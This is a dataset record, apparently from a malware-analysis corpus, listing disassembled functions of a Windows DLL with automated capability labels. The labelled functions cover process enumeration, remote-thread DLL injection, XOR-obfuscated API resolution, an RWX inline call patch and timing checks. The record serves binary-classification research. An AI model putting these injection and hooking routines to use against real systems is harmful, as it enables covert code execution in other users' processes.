joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cf10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019d08
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x1000d018
cmp byte [edi + 0x49], 0
je 0x1000d018
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x1000d00c
lea esi, [ebp - 0x2c]
call fcn.1000d4f0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x1000cf83
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x1000cfab
dec eax
je 0x1000cfaf
sub eax, 2
lea esi, [ebp - 0x2c]
jne 0x1000d007
jmp 0x1000d013
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x1000cfbf
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x1000cfe9
cmp edx, 0x10
jae 0x1000cfce
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000d004
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000d010
test esi, esi
jne 0x1000cf77
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.1000d420
jmp 0x1000cf71
lea esi, [ebp - 0x2c]
call fcn.1000a4e0
xor al, al
jmp 0x1000d01a
lea esi, [ebp - 0x2c]
call fcn.1000a4e0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x1000d800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, 0x76f13ee6
lea eax, [ebp - 0x20]
call fcn.1000eb80
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, 0x1001fdc8
sub ecx, 0x35b5523b
lea eax, [ebp - 0x34]
call fcn.10009b20
push eax
mov ecx, 0x1001fdd4
sub ecx, 0x477f543b
lea eax, [ebp - 0x24]
call fcn.10009aa0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x11282dc8], eax
mov ecx, 0xc6
xor eax, eax
jmp 0x1000d890
mov dl, byte [eax + 0x10020190]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d890
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x100201a0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d8b3
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov dword [0x11282dcc], eax
mov ecx, 0x81
xor eax, eax
jmp 0x1000d8f0
mov dl, byte [eax + 0x100201b0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d8f0
mov byte [ebp - 0x28], bl
mov ecx, 0xf3
xor eax, eax
mov dl, byte [eax + 0x100201a0]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xc
jb 0x1000d913
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov byte [ebp - 0x18], bl
call esi
push eax
call edi
mov edx, dword [0x11282dc8]
mov dword [0x11282dd0], eax
mov dword [0x11282dd4], edx
call fcn.10017d70
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10018250
push 0x1000df50
push 0x11282dd4
call fcn.10017820
call fcn.10017de0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x1000d990
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.10019690
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1008]
xor ebx, ebx
push ecx
mov dword [ebp - 0x1014], ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x1000d9e2
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1014]
shr eax, 2
mov dword [ebp - 0x1010], ebx
mov dword [ebp - 0x100c], eax
cmp eax, ebx
jle 0x1000daee
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1000da10
mov esi, dword [ebp + ebx*4 - 0x1008]
lea ecx, [ebp + ebx*4 - 0x1008]
mov dword [ebp - 0x101c], ecx
test esi, esi
je 0x1000dadf
push 0x11282dec
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [0x11282e08]
mov eax, dword [edx + 4]
cmp byte [eax + 0x19], 0
mov ecx, edx
jne 0x1000da5c
cmp dword [eax + 0xc], esi
jae 0x1000da52
mov eax, dword [eax + 8]
jmp 0x1000da56
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0x19], 0
je 0x1000da48
mov dword [ebp - 0x1018], ecx
cmp ecx, edx
je 0x1000da73
cmp esi, dword [ecx + 0xc]
jb 0x1000da73
lea eax, [ebp - 0x1018]
jmp 0x1000da7f
mov dword [ebp - 0x1024], edx
lea eax, [ebp - 0x1024]
mov eax, dword [eax]
push 0x11282dec
cmp eax, edx
je 0x1000daa0
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x1020], edx
mov dword [ebp - 0x101c], eax
call edi
jmp 0x1000dad9
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
call fcn.1000dec0
mov ebx, dword [ebp - 0x101c]
mov esi, dword [ebx]
call fcn.1000db10
test al, al
je 0x1000d9cf
mov ebx, dword [ebx]
call fcn.1000b490
test al, al
je 0x1000d9cf
mov ebx, dword [ebp - 0x1010]
mov eax, dword [ebp - 0x100c]
inc ebx
mov dword [ebp - 0x1010], ebx
cmp ebx, eax
jl 0x1000da10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x1000dbe0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10019690
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x1000dc31
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x1000dc96
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x1000dc91
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1000dc88
test dl, dl
je 0x1000dc84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1000dc88
add eax, 2
add ecx, 2
test dl, dl
jne 0x1000dc68
xor eax, eax
jmp 0x1000dc8d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000dcaa
inc esi
cmp esi, edi
jl 0x1000dc40
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
Function at 0x1000dcc0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 4
push 0x1000
mov esi, ecx
push esi
push 0
push ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x1000dd18
mov ecx, dword [ebp - 0x20]
push 0
push esi
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000dd2c
push 0x8000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
push 0x100201c0
mov edi, 0x3b8d1c8c
lea esi, [ebp - 0x14]
call fcn.1000ebf0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
sete dl
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], cl
test dl, dl
je 0x1000dd8b
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
push 0x8000
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp - 0x1c]
push 0
push 0
push esi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x1000ddc8
mov ecx, dword [ebp - 0x18]
push 0x8000
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
test eax, eax
je 0x1000ddfa
mov edx, dword [ebp - 0x18]
push edx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x18]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4

Function at 0x1000ebf0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf3
xor ecx, ecx
jmp 0x1000ec00
mov al, byte [edi + ecx - 0x2b8b1aec]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x1000ec00
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1000feb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x1012f410]
cmp eax, 0x927c0
jb 0x1000fed3
call esi
mov dword [0x1012f410], eax
cmp dword [0x1012f3cc], 0
je 0x1000ff9e
push 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, dword [0x1012f3dc]
mov ecx, dword [0x1012f3e0]
mov esi, eax
cmp eax, ecx
je 0x1000ff30
push 0
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov dword [0x1012f3e0], esi
push 0
mov dword [0x11282ac4], 0xffffffff
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0x1000fbd0
push 0
push eax
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
test eax, eax
je 0x1000ff80
mov edx, dword [0x1012f3dc]
cmp edx, dword [0x1012f3e0]
je 0x1000ff80
push 0x1012f3dc
call fcn.1000ffb0
mov eax, dword [ebp - 4]
add esp, 4
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret
push str.SOMETHING_WENT_WRONG._Terrible_sorry...
push 0
mov ecx, 0x10125568
call fcn.1000aff0
mov eax, dword [ebp - 4]
add esp, 8
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10010730
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.____________________________________________________________________________________________________
push 0
mov ecx, 0x10125568
call fcn.1000aff0
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0x14
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0x100
push 0
push 0x112831a0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001c670]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x112831a0], cl
inc eax
cmp eax, 0x100
jb 0x100107b0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.1.7.0
push 0x112831a0
push 0
mov ecx, 0x10125568
call fcn.1000aff0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x100111c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea esi, [ebp - 0x408]
call section..text
mov edi, dword [0x11282e18]
mov edx, dword [edi]
cmp edx, edi
je 0x1001126c
lea ecx, [ecx]
mov ecx, dword [edx + 0x14]
mov esi, dword [edx + 0x10]
or eax, 0xffffffff
test ecx, ecx
je 0x10011221
lea ecx, [ecx]
movzx ebx, byte [esi]
mov edi, eax
and edi, 0xff
xor edi, ebx
shr eax, 8
xor eax, dword [ebp + edi*4 - 0x408]
inc esi
dec ecx
jne 0x10011200
mov edi, dword [0x11282e18]
not eax
cmp dword [edx + 0x18], eax
jne 0x1001127f
cmp byte [edx + 0x1d], 0
jne 0x10011268
mov eax, dword [edx + 8]
cmp byte [eax + 0x1d], 0
jne 0x1001124d
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
jne 0x10011268
mov edx, eax
mov eax, dword [edx]
cmp byte [eax + 0x1d], 0
je 0x10011241
jmp 0x10011268
mov eax, dword [edx + 4]
cmp byte [eax + 0x1d], 0
jne 0x10011266
cmp edx, dword [eax + 8]
jne 0x10011266
mov edx, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x1d], 0
je 0x10011256
mov edx, eax
cmp edx, edi
jne 0x100111f0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.10018c88
mov esp, ebp
pop ebp
ret
Function at 0x10012720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10012897
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10012887
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x10012810
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10012810
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10012832
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012864
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
Function at 0x100128b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax + 4], edx
mov dword [eax + 0x1c], str.SPLASH
mov dword [eax + 0xc], edx
mov ecx, 0xc2
xor eax, eax
push ebx
lea ebx, [ebx]
mov bl, byte [eax + 0x100204c4]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x20], bl
inc eax
and ecx, 0xff
cmp eax, 0x1a
jb 0x100128e0
lea eax, [ebp - 0x20]
push eax
mov ecx, str.lin
sub ecx, 0x702b1031
lea eax, [ebp - 0x2c]
mov byte [ebp - 6], dl
call fcn.10012ce0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x11282ae4], eax
pop ebx
call fcn.10018c88
mov esp, ebp
pop ebp
ret 4
Function at 0x10012f00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019bb8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x11282e30], 0
je 0x10012fa2
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x11282e34]
cmp eax, 0x1388
jbe 0x10012fa2
push 0x11282e68
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10012fa2
call esi
mov dword [0x11282e34], eax
test eax, eax
je 0x10012f97
call fcn.10012e40
test al, al
jne 0x10012f97
mov edi, 0x1001fbb4
sub edi, 0x79ddc0fb
lea esi, [ebp - 0x30]
call fcn.10009910
push eax
push 2
mov eax, 0x1012f668
mov dword [ebp - 4], 0
call fcn.10013e20
add esp, 8
jmp 0x10012fa2
push 0x11282e68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret

Function at 0x10013a10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push eax
mov ecx, 0x10004ee0
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe8
mov dword [esi + 1], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10013a50
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, ebx
jae 0x10013a82
jmp 0x10013a70
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x10013a70
pop edi
xor al, al
pop esi
pop ebp
ret
Function at 0x10013a90
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019e86
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x10020510]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x1002050c]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10013cb8
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x10013b10
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10013bc6
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013b53
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10016920
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013b80
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10015d70
mov esi, eax
cmp esi, 0xffffffff
jne 0x10013be5
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10013bc6
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10013bc6
cmp word [ebx], di
je 0x10013cb8
mov esi, dword [ebp - 0x660]
jmp 0x10013b10
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013c07
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10016920
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10013c31
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.10015be0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x10013c72
mov ecx, dword [ebp - 0x658]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x10013c86
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10013cb4
mov eax, dword [ebp - 0x63c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, 1
jmp 0x10013cba
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018c88
mov esp, ebp
pop ebp
ret